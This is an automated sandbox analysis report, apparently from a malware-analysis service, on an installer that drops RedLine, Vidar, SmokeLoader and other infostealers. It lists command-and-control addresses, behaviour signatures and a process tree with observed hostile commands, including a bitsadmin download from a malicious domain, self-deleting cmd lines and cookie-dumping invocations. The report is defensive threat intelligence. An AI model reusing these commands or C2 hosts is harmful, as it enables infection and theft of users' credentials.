Resubmissions
11-07-2024 05:43
240711-gej4lstgrf 1006-09-2021 14:13
210906-rjpvrsedbm 1008-07-2021 11:08
210708-4gztl3mwl6 1008-07-2021 08:02
210708-klfb4qeda6 1007-07-2021 09:39
210707-nem57xyvf2 1006-07-2021 17:51
210706-7pcrmjy3fa 1006-07-2021 13:45
210706-eybelwcq86 10Analysis
-
max time kernel
1548s -
max time network
1808s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
07-07-2021 09:39
General
-
Target
setup_x86_x64_install - копия (20).exe
-
Size
3.2MB
-
MD5
3ae1c212119919e5fce71247286f8e0e
-
SHA1
97c1890ab73c539056f95eafede319df774e9d38
-
SHA256
30c2f230e5401b4b1ea8fb425dadf4e453575884303b9fa2066e6a91859f016e
-
SHA512
5bb28a775c10b8b68b8c448d64287ca732d0af5577ecc4348a89934358440bb4ff6958115f14ecbabb0446d234d6f621afa3419daa4aec6c03c0af9b6a3b1558
Score
10/10
Malware Config
Extracted
Family
redline
Botnet
ServAni
C2
87.251.71.195:82
Extracted
Family
vidar
Version
39.4
Botnet
706
C2
https://sergeevih43.tumblr.com
Attributes
-
profile_id
706
Extracted
Family
smokeloader
Version
2020
C2
http://ppcspb.com/upload/
http://mebbing.com/upload/
http://twcamel.com/upload/
http://howdycash.com/upload/
http://lahuertasonora.com/upload/
http://kpotiques.com/upload/
rc4.i32
rc4.i32
Signatures
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Process spawned unexpected child process 6 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Raccoon
Simple but powerful infostealer which was very active in 2019.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 8 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
-
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
-
Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
Windows security bypass 2 TTPs
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
-
ASPack v2.12-2.42 8 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Blocklisted process makes network request 3 IoCs
-
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 4 IoCs
-
Executes dropped EXE 64 IoCs
-
Modifies Windows Firewall 1 TTPs
-
Sets service image path in registry 2 TTPs
-
UPX packed file 4 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Checks BIOS information in registry 2 TTPs 8 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 7 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 64 IoCs
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Themida packer 4 IoCs
Detects Themida, an advanced Windows software protection system.
-
Windows security modification 2 TTPs 2 IoCs
-
Accesses 2FA software files, possible credential harvesting 2 TTPs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 5 IoCs
-
Checks for any installed AV software in registry 1 TTPs 5 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 7 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 24 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in System32 directory 32 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
-
Suspicious use of SetThreadContext 17 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 6 IoCs
-
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 14 IoCs
-
Checks SCSI registry key(s) 3 TTPs 33 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 18 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 5 IoCs
-
Download via BitsAdmin 1 TTPs 5 IoCs
-
Enumerates system info in registry 2 TTPs 7 IoCs
-
Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
-
Kills process with taskkill 9 IoCs
-
Modifies Internet Explorer settings 1 TTPs 7 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies registry class 64 IoCs
-
Script User-Agent 8 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: MapViewOfSection 64 IoCs
-
Suspicious behavior: SetClipboardViewer 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 33 IoCs
-
Suspicious use of SendNotifyMessage 4 IoCs
-
Suspicious use of SetWindowsHookEx 28 IoCs
-
Suspicious use of UnmapMainImage 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Roaming\rsrbfsfC:\Users\Admin\AppData\Roaming\rsrbfsf2⤵
- Checks SCSI registry key(s)
-
-
C:\Users\Admin\AppData\Roaming\wirbfsfC:\Users\Admin\AppData\Roaming\wirbfsf2⤵
-
C:\Users\Admin\AppData\Roaming\wirbfsfC:\Users\Admin\AppData\Roaming\wirbfsf3⤵
- Checks SCSI registry key(s)
-
-
-
C:\Users\Admin\AppData\Roaming\jdrbfsfC:\Users\Admin\AppData\Roaming\jdrbfsf2⤵
- Suspicious use of SetThreadContext
- Checks SCSI registry key(s)
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Roaming\rsrbfsfC:\Users\Admin\AppData\Roaming\rsrbfsf2⤵
- Checks SCSI registry key(s)
-
-
C:\Users\Admin\AppData\Roaming\wirbfsfC:\Users\Admin\AppData\Roaming\wirbfsf2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\wirbfsfC:\Users\Admin\AppData\Roaming\wirbfsf3⤵
- Checks SCSI registry key(s)
-
-
-
C:\Users\Admin\AppData\Roaming\jdrbfsfC:\Users\Admin\AppData\Roaming\jdrbfsf2⤵
- Checks SCSI registry key(s)
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe "C:\Program Files (x86)\QRIvBFx\QRIvBFx.dll",QRIvBFx2⤵
- Windows security modification
- Drops file in System32 directory
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Roaming\rsrbfsfC:\Users\Admin\AppData\Roaming\rsrbfsf2⤵
-
-
C:\Users\Admin\AppData\Roaming\wirbfsfC:\Users\Admin\AppData\Roaming\wirbfsf2⤵
-
-
C:\Users\Admin\AppData\Roaming\jdrbfsfC:\Users\Admin\AppData\Roaming\jdrbfsf2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\335C.exeC:\Users\Admin\AppData\Local\Temp\335C.exe2⤵
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install - копия (20).exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install - копия (20).exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC2647624\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zSC2647624\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_1.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC2647624\arnatic_1.exearnatic_1.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im arnatic_1.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zSC2647624\arnatic_1.exe" & del C:\ProgramData\*.dll & exit6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im arnatic_1.exe /f7⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 67⤵
- Delays execution with timeout.exe
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_2.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC2647624\arnatic_2.exearnatic_2.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_3.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC2647624\arnatic_3.exearnatic_3.exe5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rUNdlL32.eXe"C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",axhub6⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_4.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC2647624\arnatic_4.exearnatic_4.exe5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
- Suspicious use of SetThreadContext
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt6⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_5.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC2647624\arnatic_5.exearnatic_5.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\1126656.exe"C:\Users\Admin\AppData\Roaming\1126656.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\5925079.exe"C:\Users\Admin\AppData\Roaming\5925079.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\3081054.exe"C:\Users\Admin\AppData\Roaming\3081054.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Roaming\1100866.exe"C:\Users\Admin\AppData\Roaming\1100866.exe"6⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
- Executes dropped EXE
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_7.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC2647624\arnatic_7.exearnatic_7.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC2647624\arnatic_7.exeC:\Users\Admin\AppData\Local\Temp\7zSC2647624\arnatic_7.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_6.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC2647624\arnatic_6.exearnatic_6.exe5⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Documents\qeWffXXPdL7IgtmXJGM3uvPh.exe"C:\Users\Admin\Documents\qeWffXXPdL7IgtmXJGM3uvPh.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\qeWffXXPdL7IgtmXJGM3uvPh.exeC:\Users\Admin\Documents\qeWffXXPdL7IgtmXJGM3uvPh.exe7⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Documents\xLrZ7sMbOcUYQ6ZyqN_bIeZe.exe"C:\Users\Admin\Documents\xLrZ7sMbOcUYQ6ZyqN_bIeZe.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\xLrZ7sMbOcUYQ6ZyqN_bIeZe.exeC:\Users\Admin\Documents\xLrZ7sMbOcUYQ6ZyqN_bIeZe.exe7⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Documents\cjG0Iam1Jj0cNNTd_SEVIp5b.exe"C:\Users\Admin\Documents\cjG0Iam1Jj0cNNTd_SEVIp5b.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\Documents\n_XvoC0lA5U4xLfvwMUQ9ivc.exe"C:\Users\Admin\Documents\n_XvoC0lA5U4xLfvwMUQ9ivc.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\n_XvoC0lA5U4xLfvwMUQ9ivc.exeC:\Users\Admin\Documents\n_XvoC0lA5U4xLfvwMUQ9ivc.exe7⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Documents\_eaNdnN9tnNRXIFKGG2yF0fp.exe"C:\Users\Admin\Documents\_eaNdnN9tnNRXIFKGG2yF0fp.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\_eaNdnN9tnNRXIFKGG2yF0fp.exe"C:\Users\Admin\Documents\_eaNdnN9tnNRXIFKGG2yF0fp.exe"7⤵
-
-
-
C:\Users\Admin\Documents\iaK6LGtP0xsu467Y5J6nvafj.exe"C:\Users\Admin\Documents\iaK6LGtP0xsu467Y5J6nvafj.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\Documents\1YsRDMFL5gbGtNm7s1bVicwX.exe"C:\Users\Admin\Documents\1YsRDMFL5gbGtNm7s1bVicwX.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\1YsRDMFL5gbGtNm7s1bVicwX.exeC:\Users\Admin\Documents\1YsRDMFL5gbGtNm7s1bVicwX.exe7⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Documents\9zaJqMiAhVnJuMyvpBs_Vj8h.exe"C:\Users\Admin\Documents\9zaJqMiAhVnJuMyvpBs_Vj8h.exe"6⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Documents\DHL4Bb1YNR_LuTP87OTPpPEl.exe"C:\Users\Admin\Documents\DHL4Bb1YNR_LuTP87OTPpPEl.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\DHL4Bb1YNR_LuTP87OTPpPEl.exeC:\Users\Admin\Documents\DHL4Bb1YNR_LuTP87OTPpPEl.exe7⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Documents\7ZI0ROMveurFDV8Aq7DVyS06.exe"C:\Users\Admin\Documents\7ZI0ROMveurFDV8Aq7DVyS06.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\Documents\aq3T5oYFV8GDNuh6ZK8xkEpC.exe"C:\Users\Admin\Documents\aq3T5oYFV8GDNuh6ZK8xkEpC.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst34AF.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst34AF.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst34AF.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst34AF.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst34AF.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst34AF.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst34AF.tmp\tempfile.ps1"7⤵
- Checks for any installed AV software in registry
-
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://addingcrapstdownld.com/data/data.7z C:\zip.7z7⤵
- Download via BitsAdmin
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pciPvfgZyUkzN4QM -y x C:\zip.7z -o"C:\Program Files\temp_files\"7⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -ppEffkJZ45294Dbr -y x C:\zip.7z -o"C:\Program Files\temp_files\"7⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst34AF.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst34AF.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst34AF.tmp\tempfile.ps1"7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst34AF.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst34AF.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\QRIvBFx\QRIvBFx.dll" QRIvBFx7⤵
- Loads dropped DLL
-
C:\Windows\system32\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\QRIvBFx\QRIvBFx.dll" QRIvBFx8⤵
- Loads dropped DLL
- Drops file in System32 directory
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst34AF.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst34AF.tmp\tempfile.ps1"7⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst34AF.tmp\tempfile.ps1"7⤵
- Drops file in Program Files directory
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst34AF.tmp\tempfile.ps1"7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nst34AF.tmp\tempfile.ps1"7⤵
-
-
C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe"C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT7⤵
- Loads dropped DLL
-
-
-
C:\Users\Admin\Documents\ARSOO0DIp2UugIvuwrSyM9oD.exe"C:\Users\Admin\Documents\ARSOO0DIp2UugIvuwrSyM9oD.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\Documents\mqnMtgWvbwILOMZrKc6CsUOn.exe"C:\Users\Admin\Documents\mqnMtgWvbwILOMZrKc6CsUOn.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 6607⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 6767⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 6527⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 6607⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 8887⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 11087⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
-
-
C:\Users\Admin\Documents\zlH6t0Do4fta14d4vAtHE7CM.exe"C:\Users\Admin\Documents\zlH6t0Do4fta14d4vAtHE7CM.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\zlH6t0Do4fta14d4vAtHE7CM.exe"C:\Users\Admin\Documents\zlH6t0Do4fta14d4vAtHE7CM.exe" -a7⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Documents\xe3VggU3QswqnlgTx1tHoeRE.exe"C:\Users\Admin\Documents\xe3VggU3QswqnlgTx1tHoeRE.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im xe3VggU3QswqnlgTx1tHoeRE.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\xe3VggU3QswqnlgTx1tHoeRE.exe" & del C:\ProgramData\*.dll & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im xe3VggU3QswqnlgTx1tHoeRE.exe /f8⤵
- Kills process with taskkill
-
-
